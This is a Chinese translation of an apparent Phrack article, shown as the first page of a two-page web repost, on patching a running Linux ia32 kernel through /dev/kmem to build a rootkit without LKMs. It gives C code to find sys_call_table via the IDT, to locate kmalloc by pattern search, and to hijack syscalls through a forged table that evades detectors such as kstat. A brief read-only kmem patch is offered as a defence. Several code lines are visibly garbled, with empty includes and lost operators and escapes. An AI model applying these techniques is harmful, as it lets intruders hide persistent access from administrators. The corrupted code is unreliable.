摘要 1.简介 本文,作者将讨论一个不使用LKM或者System.map来修改Linux内核(主要是系统调用)的方法,并利用这个技术实现了个rootkit 中文翻译:nixe0n 1.简介 开始,我们要感谢Silvio Cesare,是他在很久以前就实现了内核修改技术,本文的大部分想法都是窃取他的成果。 本文,我们将讨论一个不使用LKM或者System.map来修改Linux内核(主要是系统调用)的方法,因此需要读者了解什么是LKM以及它们是如何加载的。如果对这些知识你好不太了解,请参考本文列举的参考资料。 首先,我们设想一下,如果一个可怜的家伙进入了一个系统获得了root权限,但是系统管理员非常精明,使用某些数据完整性检测工具使攻击者不能神不知鬼不觉地安装自己修改过的木马sshd,而且系统中根本就没有安装gcc等编译器、开发库和需要的头文件(本该如此:P),使攻击者无法编译自己的LKM rookit。这可怎么办?本文将一步步地告诉你如何解决这个问题,另外在本文的结尾提供了完整的Linux-ia32 rootkit,在这个rootkit中实现了本文叙述的技术。(读者可以到http://www.phrack.org获得其源代码--nixe0n) 本文讲述的技术只能用于用于ia32架构。 2./dev/kmem是我们的朋友 mem是一个字符设备文件,是计算机主存的一个影象。它可以用于测试甚至修改系统。 未曾开始先来一段语录:),来自Linux手册页(man mem) 有关修补运行中内核的技术细节请参考Silvio的大作run-time kernel patching,这里只是简要地介绍一个片段: 本文中,所有对内核空间的操作都是通过一个标准的Linux设备/dev/kmem。这个设备通常只有root用户才有rw权限,因此只有root才能实现这些操作.注意:只是修改/dev/kmem的权限,无法让普通用户获得对它的修改权限,因为即使虚拟文件系统允许普通用户访问/dev/kmem,内核还会对进程进行第二次检查(在device/char/mem.c中),检查进程是否具有CAP_SYS_RAWIO能力(capability)。 除/dev/kmem设备之外,/dev/mem也应该引起注意。这个设备表示在进行虚拟内存转换之前的物理内存影象。如果我们知道了页目录的位置,通过这个设备也可能达到修改系统内核的目的。在本文中,我们不讨论这种可能性。 在代码中,针对/dev/kmem文件的读、写以及地址定位等操作分别使用标准的系统调用read()、write()和lseek()实现,非常简单。下面是实现上述功能的函数: /* 从kmem中读取数据 */ static inline int rkm(int fd, int offset, void *buf, int size) { if (lseek(fd, offset, 0) != offset) return 0; if (read(fd, buf, size) != size) return 0; return size; } /* 向kmem中写入数据 */ static inline int wkm(int fd, int offset, void *buf, int size) { if (lseek(fd, offset, 0) != offset) return 0; if (write(fd, buf, size) != size) return 0; return size; } /* 从kmem读出一个整数 */ static inline int rkml(int fd, int offset, ulong *buf) { return rkm(fd, offset, buf, sizeof(ulong)); } /* 向kmem写入一个整数 */ static inline int wkml(int fd, int offset, ulong buf) { return wkm(fd, offset, &buf, sizeof(ulong)); } 3.替代系统调用 我们知道,从用户空间的角度看,系统调用在Linux中,是最底层的系统函数,因此系统调用是我们最感兴趣的东西。在Linux内核中,系统调用被集合到一个表中(sys_call_table),这是个一维数组,保存256个指针,使用系统调用号作为索引定位调用的入口点。仅此而已。 我们首先看一下下面这段伪代码: /* as everywhere, "Hello world" is good for begginers ;-) */ /* 原来的系统调用 */ int (*old_write) (int, char *, int); /* 新系统调用处理函数 */ new_write(int fd, char *buf, int count) { if (fd == 1) { /* 标准输出设备 ? */ old_write(fd, "Hello world! ", 13); return count; } else { return old_write(fd, buf, count); } } old_write = (void *) sys_call_table[__NR_write]; /* 保存旧的 */ sys_call_table[__NR_write] = (ulong) new_write; /* 设置新的 */ 这种类型的代码在各种LKM型rootkit、tty劫持程序中经常遇到,我们可以通过这种方式修改sys_call_table[],而代码通常是由/sbin/insmod(调用create_module() / init_module())导入内核的。 好了,到此为止,我们想这恐怕已经足够了。 3.1.没有LKM如何获得sys_call_table[]的位置 首先,要注意一点,如果在编译时不支持LKM,Linux内核将不会维护任何的符号信息。这是一个明智的选择,不支持LKM,还有什么使用这些信息的理由?为了调试?System.map可以用于调试。当然,我们需要这些符号信息:)。如果内核支持LKM,LKM需要的符号就会被导入它们的特定连接片段。但是,我们说过,不支持LKM,这怎么办? 据我们所知,要获取sys_call_table[]的位置,最聪明的方式是这样的: #include #include #include #include strUCt { unsigned short limit; unsigned int base; } __attribute__ ((packed)) idtr; struct { unsigned short off1; unsigned short sel; unsigned char none,flags; unsigned short off2; } __attribute__ ((packed)) idt; int kmem; void readkmem (void *m,unsigned off,int sz) { if (lseek(kmem,off,SEEK_SET)!=off) { perror("kmem lseek"); exit(2); } if (read(kmem,m,sz)!=sz) { perror("kmem read"); exit(2); } } #define CALLOFF 100 /* 我们将读出int $0x80的头100个字节 */ main () { unsigned sys_call_off; unsigned sct; char sc_asm[CALLOFF],*p; /* 获得IDTR寄存器的值 */ asm ("sidt %0" : "=m" (idtr)); printf("idtr base at 0x%X ",(int)idtr.base); /* 打开kmem */ kmem = open ("/dev/kmem",O_RDONLY); if (kmem<0) return 1; /* 从IDT读出0x80向量 (syscall) */ readkmem (&idt,idtr.base+8*0x80,sizeof(idt)); sys_call_off = (idt.off2 << 16) idt.off1; printf("idt80: flags=%X sel=%X off=%X ", (unsigned)idt.flags,(unsigned)idt.sel,sys_call_off); /* 寻找sys_call_table的地址 */ readkmem (sc_asm,sys_call_off,CALLOFF); p = (char*)memmem (sc_asm,CALLOFF,"xffx14x85",3); sct = *(unsigned*)(p+3); if (p) { printf ("sys_call_table at 0x%x, call dispatch at 0x%x ", sct, p); } close(kmem); } 下面我们解释一下这段代码是如何工作的。sidt[asm ("sidt %0" : "=m" (idtr));]指令能够获得中断描述符表(interrupt descriptor table)的位置,从这条指令获得指针中我们可以获得int $0x80中断描述符所在的位置[readkmem (&idt,idtr.base+8*0x80,sizeof(idt));]。 然后我们使用[sys_call_off = (idt.off2 << 16) idt.off1;]计算出int $0x80的入口点(system_call函数的地址)。但是,我们想知道的是sys_call_table[]的位置。我们先看一下system_call函数反汇编后的代码。你如果使用自己编译的内核,那么每次编译完成后,都会产生一个叫做vmlinux的文件。使用这个文件可以找出内核符号的地址。 [sd@pikatchu linux]$ gdb -q /usr/src/linux/vmlinux (no debugging symbols found)...(gdb) disass system_call Dump of assembler code for function system_call: 0xc0106bc8 : push %eax 0xc0106bc9 : cld 0xc0106bca : push %es 0xc0106bcb : push %ds 0xc0106bcc : push %eax 0xc0106bcd : push %ebp 0xc0106bce : push %edi 0xc0106bcf : push %esi 0xc0106bd0 : push %edx 0xc0106bd1 : push %ecx 0xc0106bd2 : push %ebx 0xc0106bd3 : mov $0x18,%edx 0xc0106bd8 : mov %edx,%ds 0xc0106bda : mov %edx,%es 0xc0106bdc : mov $0xffffe000,%ebx 0xc0106be1 : and %esp,%ebx 0xc0106be3 : cmp $0x100,%eax 0xc0106be8 : jae 0xc0106c75 0xc0106bee : testb $0x2,0x18(%ebx) 0xc0106bf2 : jne 0xc0106c48 0xc0106bf4 : call *0xc01e0f18(,%eax,4) <-- 就是它 0xc0106bfb : mov %eax,0x18(%esp,1) 0xc0106bff : nop End of assembler dump. (gdb) print &sys_call_table $1 = ( *) 0xc01e0f18 <-- 看到了吗?一样 (gdb) x/xw (system_call+44) 0xc0106bf4 : 0x188514ff <-- 机器指令 (little endian) (gdb) 从上面的试验可以看出,只要找到邻近int $0x80入口点system_call的call sys_call_table(,eax,4)指令的机器指令就可以了。而且,各种x86架构的Linux内核(至少从2.0.10到2.4.10是如此)基本都是通过这条指令来传递系统调用的。call something<,eax,4)指令的机器码是0xff 0x14 0x85 0x调用地址,因此我们可以使用模式匹配的方式获得条指令的地址: memmem (sc_asm,CALLOFF,"xffx14x85",3); /*从system_call的位置开始搜索*/ 除了这种方法,可能存在更为健壮的处理方式。这里我们只是简单地获得int $0x80处理函数中某条简单指令的地址。如果考虑内核的重入性问题,就复杂了。 到此为止,我们获得了sys_call_table[]的位置,这样我们就可以修改某些系统调用的地址了,下面是相关的伪代码: readkmem(&old_write, sct + __NR_write * 4, 4); /* 保存旧的系统调用 */ writekmem(new_write, sct + __NR_write * 4, 4); /* 设置新的系统调用 */ 3.2.修改system_call的调用地址 在撰写本文时,我们在Packetstorm/Freshmeat发现了一些所谓的rootkit检测器。它们能够检测LKM、系统调用表和内核其它部分的错误。不过幸运的是,绝大多数此类工具都非常愚蠢,只要略施小计就可以骗过它们,请参考文献[6],绿色兵团的大鹰也有一篇讨论这项技术的文章。我们建立一个新的系统调用表,根本不修改原来的sys_call_table[]数组里面的任何内容,然后把system_call函数的调用地址修改为新的系统调用表就可以了。这样,那些通过检查系统调用实现函数的地址的rootkit检测工具(例如:kstat)就根本无法察觉系统调用已经被修改了,因为我们根本就没有修改过sys_call_table[]里面的任何东西,只是将其废弃不用而已。具体过程可以使用如下伪代码描述: ulong sct = addr of sys_call_table[] char *p = ptr to int 0x80's call sct(,eax,4) - dispatch ulong nsct[256] = new syscall table with modified entries readkmem(nsct, sct, 1024); /* read old */ old_write = nsct[__NR_write]; nsct[__NR_write] = new_write; /* 使用我们自己的系统调用表 */ writekmem((ulong) p+3, nsct, 4); /* Note that this code never can work, because you can't redirect something kernel related to userspace, such as sct[] in this case */ 在这段代码中,我们建立了sys_call_table[]的一个拷贝[readkmem(nsct, sct,1024);],然后保存并修改我们感兴趣的调用入口[old_write = nsct[__NR_write]; nsct[__NR_write] = new_write;],接着只要修改system_call函数中call <地址>(,eax,4)指令调用的地址,就可以实现系统调用的重定向: 0xc0106bf4 : call *0xc01e0f18(,%eax,4) ~~~~~~~~~ __ 这就是我们自己的系统调用表地址 LKM检测工具一般不会检查system_call函数的内容(以后很可能会的),因此根本无法察觉,sys_call_table[]还在那里,我们没有做任何的修改,只是system_call函数已经不再用它了:)。 4.获得内核空间的内存 下面,我们要做的就是获得地址在0xc0000000或者0x80000000以上的内存,0xc0000000是用户内存空间和内核内存空间的边界,用户进程无法访问地址高于0x80000000的内存地址,即使是root用户也不行。那么,我们又该怎么做呢?别着急,让我们首先看看支持LKM的内核是怎么做的(/usr/src/linux/kernel/module.c); void inter_module_register(const char *im_name, struct module *owner, const void *userdata) { struct list_head *tmp; struct inter_module_entry *ime, *ime_new; if (!(ime_new = kmalloc(sizeof(*ime), GFP_KERNEL))) { /* Overloaded kernel, not fatal */ ... 不出我们所料,它们使用kmalloc(size, GFP_KERNEL)函数来分配内核空间的内存。但是,我们不能使用kmalloc()函数,因为: 我们不知道kmalloc()函数的地址 我们不知道GFP_KERNEL的值 我们不能在用户空间调用kmalloc()函数 4.1.如果有LKM支持如何获得kmalloc()的地址 如果系统提供LKM支持,可以使用如下代码找到kmalloc函数的地址: ulong get_sym(char *n) { struct kernel_sym tab[MAX_SYMS]; int numsyms; int i; numsyms = get_kernel_syms(NULL); if (numsyms > MAX_SYMS' 'numsyms < 0) return 0; get_kernel_syms(tab); for (i = 0; i < numsyms; i++) { if (!strncmp(n, tab[i].name, strlen(n))) return tab[i].value; } return 0; } ulong get_kma(ulong pgoff) { ret = get_sym("kmalloc"); if (ret) return ret; return 0; } 这段代码我们就不多做说明了。 4.2.通过模式匹配搜索kmalloc()函数的地址 但是,如果内核没有提供LKM支持,将使我们陷入困境。而且,这个问题的解决方法非常脏,也不是很好,但是看来还有效。我们将遍历内核的.text段,对如下指令进行模式查询: push GFP_KERNEL push size call kmalloc 然后,把搜索结果收集到一个表中排序,出现次数最多的就是kmalloc()函数地址,下面是实现代码: #define RNUM 1024 ulong get_kma(ulong pgoff) { struct { uint a,f,cnt; } rtab[RNUM], *t; uint i, a, j, push1, push2; uint found = 0, total = 0; uchar buf[0x10010], *p; int kmem; ulong ret; /* 在使用我们自己的方式之前,试一下正确的方法是否可行 */ ret = get_sym("kmalloc"); if (ret) return ret; /* humm, no way ;)) */ kmem = open(KMEM_FILE, O_RDONLY, 0); if (kmem < 0) return 0; for (i = (pgoff + 0x100000); i < (pgoff + 0x1000000); i += 0x10000) { if (!loc_rkm(kmem, buf, i, sizeof(buf))) return 0; /* 寻找push和call指令 */ for (p = buf; p < buf + 0x10000;) { switch (*p++) { case 0x68: push1 = push2; push2 = *(unsigned*)p; p += 4; continue; case 0x6a: push1 = push2; push2 = *p++; continue; case 0xe8: if (push1 && push2 && push1 <= 0xffff && push2 <= 0x1ffff) break; default: push1 = push2 = 0; continue; } /* 我们获得了push1/push2/call序列,再寻找地址 */ a = *(unsigned *) p + i + (p - buf) + 4; p += 4; total++; /* 在表中找 */ for (j = 0, t = rtab; j < found; j++, t++) if (t->a == a && t->f == push1) break; if (j < found) t->cnt++; else if (found >= RNUM) { return 0; } else { found++; t->a = a; t->f = push1; t->cnt = 1; } push1 = push2 = 0; } /* for (p = buf; ... */ } /* for (i = (pgoff + 0x100000) ...*/ close(kmem); t = NULL; for (j = 0;j < found; j++) /* find a winner */ if (!t' 'rtab[j].cnt > t->cnt) t = rtab+j; if (t) return t->a; return 0; } 这个代码只是一个简单的state machine,它没有考虑由某些GCC编译选项造成的汇编代码布局的差异。修改switch的选项,可以把它用于其它代码模式的搜索。并且如果增加对GFP值的查询,可以增加其准确程度。 这个代码的精确度能够达到大约80%左右,并且可以广泛地用于2.2.1->2.4.13的内核。 4.3.GFP_KERNEL的值 我们将要遇到的下一个问题是GFP_KERNEL的值在每个内核系列中是不同的,这个问题可以通过uname()函数解决。 +-----------------------------------+ kernel version GFP_KERNEL value +----------------+------------------+ 1.0.x .. 2.4.5 0x3 +----------------+------------------+ 2.4.6 .. 2.4.x 0x1f0 +----------------+------------------+ 注意:在2.4.7-2.4.9的内核中,有时会因为错误的GFP_KERNEL造成调用不成功。 代码: #define NEW_GFP 0x1f0 #define OLD_GFP 0x3 /* uname struc */ struct un { char sysname[65]; char nodename[65]; char release[65]; char version[65]; char machine[65]; char domainname[65]; }; int get_gfp() { struct un s; uname(&s); if ((s.release[0] == '2') && (s.release[2] == '4') && (s.release[4] >= '6' (s.release[5] >= '0' && s.release[5] <= '9'))) { return NEW_GFP; } return OLD_GFP; } 4.4.覆盖系统调用 我们前面说过,我们不能直接从用户空间调用kmalloc()函数,这个问题可以从Silvio的文章中找到答案[参考文献2]。 获得某些系统调用实现的地址(IDT -> int 0x80 -> sys_call_table)。 建立一个例程调用kmalloc()函数并返回一个内存指针。 由于某个系统调用要被覆盖,因此我们需要保存将被覆盖掉的内容。 使用我们自己的例程覆盖原来的系统调用实现。 通过int $0x80在用户空间调用这个系统调用,这个例程就会把获得的内存指针返回给我们。 利用3.保存的内容恢复原来的系统调用。 我们自己的系统调用如下: struct kma_struc { ulong (*kmalloc) (uint, int); int size; int flags; ulong mem; } __attribute__ ((packed)); int our_routine(struct kma_struc *k) { k->mem = k->kmalloc(k->size, k->flags); return 0; } 现在,我们获得了内核空间的内存,可以把我们自己的系统调用实现复制到这块内存中,然后修改伪造的sys_call_table数组,伪造系统调用的入口。 5.一些需要注意的事项 在使用这个技术时,最好能够注意以下事项: 注意内核的版本(我们是指GFP_KERNEL)。 如果想是其能够用于不同的内核,最好只修改系统调用,不要涉及到其它的任何内核数据结构包括tash_struct。 这个技术用于SMP可能造成一些麻烦,注意内核的重入问题,在需要的地方使用用户空间的锁。 6.可能的解决方法 好了,现在我们站在一个好人的角度上,看看怎样才能防止这种攻击。使用下面的补丁,把/dev/kmem设备的属性改为只读,并且取消LKM支持可以解决这个问题。 <++> kmem-ro.diff --- /usr/src/linux/drivers/char/mem.c Mon Apr 9 13:19:05 2001 +++ /usr/src/linux/drivers/char/mem.c Sun Nov 4 15:50:27 2001 @@ -49,6 +51,8 @@ const char * buf, size_t count, loff_t *ppos) { ssize_t written; + /* disable kmem write */ + return -EPERM; written = 0; #if defined(__sparc__)' 'defined(__mc68000__) <--> 注意:这个补丁可能造成一些需要写/dev/kmem内核权限的应用程序无法正常运行,不过,为了安全这是值得的。 7.结论 Linux的内存设备看起来非常强大,但是攻击者同样可以使用这些设备来长时间地隐藏自己的行为,窃取信息,保证自己的远程访问权限,而不被发现。我们所知,这些设备并没有太大用处,因此关闭对它们进行写操作的能力是个好注意。
[1] [2] 下一页
(出处:http://www.sheup.com)